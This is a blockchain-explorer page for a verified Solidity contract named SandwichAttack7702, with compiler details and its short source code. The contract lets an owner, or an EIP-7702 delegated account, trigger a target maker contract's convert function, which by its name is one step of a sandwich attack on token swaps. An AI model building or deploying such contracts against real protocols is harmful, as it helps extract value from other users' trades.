Verified contractPartialMIT
SandwichAttack7702
Address0x4337337e6edb4e450f233da071c5c9011a87788a
- Balance
0 ETH
- Transactions
1
- Compiler
solc 0.8.12
- Same code
Only this contract
Details
- Compiler
- solc 0.8.12+commit.f00d7308
- Language
- solidity
- Optimization
- No
- License
- MIT
- Match
- Partialcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,191,854
- Creation transaction
- 0x1afb7636b6…73b41e4872
SandwichAttack7702.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.12;
interface IERC20 {
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function approve(address spender, uint amount) external returns (bool);
}
interface IUniswapV2Pair {
function token0() external view returns (address);
function token1() external view returns (address);
}
interface ITarget {
function convert(address token0, address token1) external;
}
contract SandwichAttack7702 {
modifier onlyOwner() {
require(
tx.origin == address(this) || msg.sender == 0x81Bb73124d0ec9926491Ffc8bed667BE6B6C6187,
"caller is not the owner"
);
_;
}
function exp(
address MAKER,
address token0,
address token1
) external onlyOwner {
ITarget(MAKER).convert(token0, token1);
}
receive() external payable {}
fallback() external payable {}
}Compiler settingsShow
{
"libraries": {},
"optimizer": {
"runs": 200,
"enabled": false
}
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.